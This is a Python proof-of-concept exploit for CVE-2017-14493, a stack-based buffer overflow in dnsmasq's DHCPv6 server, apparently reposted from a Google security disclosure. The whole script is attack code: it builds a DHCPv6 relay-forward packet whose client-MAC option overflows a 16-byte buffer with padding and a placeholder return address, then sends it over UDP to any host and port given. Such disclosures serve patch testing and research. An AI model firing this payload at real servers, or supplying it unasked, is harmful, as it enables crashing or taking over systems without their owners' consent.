Dnsmasq Stack based overflow(CVE-2017-14493)

#!/usr/bin/python # # Copyright 2017 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna <fjserna@google.com> # Felix Wilhelm <fwilhelm@google.com> # Gabriel Campana <gbrl@google.com> # Kevin Hamacher <hamacher@google.com> # Gynvael Coldwind <gynvael@google.com> # Ron Bowes - Xoogler :/ from struct import pack import sys import socket def send_packet(data, host, port): print("[+] sending {} bytes to {}:{}".format(len(data), host, port)) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM, socket.IPPROTO_UDP) s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data)) if s.sendto(data, (host, port)) != len(data): print("[!] Could not send (full) payload") s.close() def u8(x): return pack("B", x) def u16(x): return pack("!H", x) def gen_option(option, data, length=None): if length is None: length = len(data) return b"".join([ u16(option), u16(length), data ]) if __name__ == '__main__': assert len(sys.argv) == 3, "{} <ip> <port>".format(sys.argv[0]) pkg = b"".join([ u8(12), # DHCP6RELAYFORW u16(0x0313), u8(0x37), # transaction ID b"_" * (34 - 4), # Option 79 = OPTION6_CLIENT_MAC # Moves argument into char[DHCP_CHADDR_MAX], DHCP_CHADDR_MAX = 16 gen_option(79, "A" * 74 + pack("<Q", 0x1337DEADBEEF)), ]) host, port = sys.argv[1:] send_packet(pkg, host, int(port))